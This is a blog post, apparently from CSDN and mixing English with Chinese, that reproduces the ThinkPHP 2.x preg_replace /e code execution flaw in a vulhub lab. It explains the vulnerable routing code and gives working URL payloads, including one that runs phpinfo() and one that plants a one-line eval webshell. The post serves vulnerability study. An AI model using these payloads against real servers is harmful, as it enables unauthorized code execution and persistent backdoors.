[vulhub vulnerability recurrence] Thinkphp 2.x arbitrary code execution

1. Vulnerability Details

Affects version thinkphp 2.x
, but since thinkphp 3.0 version does not fix this vulnerability in Lite mode, this vulnerability also exists

Vulnerability reason:

e and /e pattern matching routing:
e is used with the function preg_replace(), and the matched string can be executed as a regular expression;
/e is executable mode , which is a PHP-specific parameter, such as the preg_replace function.

Look at the preg_replace function again

preg_replace('regular rule','replacement character','target character')

That is to say, the target character is replaced by the replacement character according to the regular rules

When preg_replace uses the /e mode, it can cause code execution. The regular rules and target characters of this function can be input by the user. When the preg_replace function matches a string with regular symbols, it will execute the replacement character (the second parameter) as code.

for example

官方 payload 为 /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 
原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

Finally strtolower("\\1") is executed, which is equivalent to eval('strtolower("\1");').

strtolower(): Convert all characters to lowercase

That is, the result is \1, and \1 specifies the first sub-match in the regular expression, and phpinfo() will be executed successfully

In ThinkPHP ThinkPHP 2.x version, use preg_replace's /e pattern matching route:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

Cause the user's input parameters to be inserted into double quotes for execution, resulting in arbitrary code execution vulnerabilities.

2. Recurrence process

  1. Build a docker environment

docker-compose up -d
  1. write to phpinfo

http://192.168.239.128:8080/index.php?s=/index/index/xxx/${@phpinfo()}
  1. write a word trojan horse

http://192.168.239.128:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}

Reported an error but already written in

connection succeeded

  1. code analysis

The reproduction is complete, but how was the payload constructed?

// 分析PATHINFO信息
 
        self::getPathInfo();
 
 
        if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
 
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
 
            $var  =  array();
 
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
 
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
 
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
 
                    // 禁止直接访问分组
 
                    exit;
 
                }
 
            }
 
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
 
                $var[C('VAR_MODULE')]  =   array_shift($paths);
 
            }
 
            $var[C('VAR_ACTION')]  =   array_shift($paths);
 
            // 解析剩余的URL参数
 
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
 
            $_GET   =  array_merge($var,$_GET);
 
        }
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\ \2";', implode($depr,$paths));

It means that two parameters will be taken out each time, the first parameter is used as the subscript of the var array, and the second parameter is used as the value of the subscripted array (that is, as long as your code is placed in an even number, it will be regarded as the value of the array implement)

if(!isset($_GET[C('VAR_MODULE')])) {// No module name defined yet
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION ')] = array_shift($paths);

When the array $var has modules and actions in the path, the first 2 values ​​will be removed, so the value of the payload array we constructed must be greater than 2 and the code to be executed must be placed in an even number.

Therefore, the payload can be constructed:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
……

至于s是怎么来的:

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

这篇文章写的非常详细,我也就是照猫画虎,理解最重要。

https://www.freebuf.com/column/223149.html

三、总结

为什么${}会执行?在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称,那么这个函数就会被执行。

希望能从漏洞复现中学习到挖漏洞的思路和技巧,不知道什么时候才能真真正正地有自己挖洞的实力了嗨嗨害。

学习新思想,争做新青年。

每天给自己来碗鸡汤。

Guess you like

Origin blog.csdn.net/m0_51683653/article/details/129255718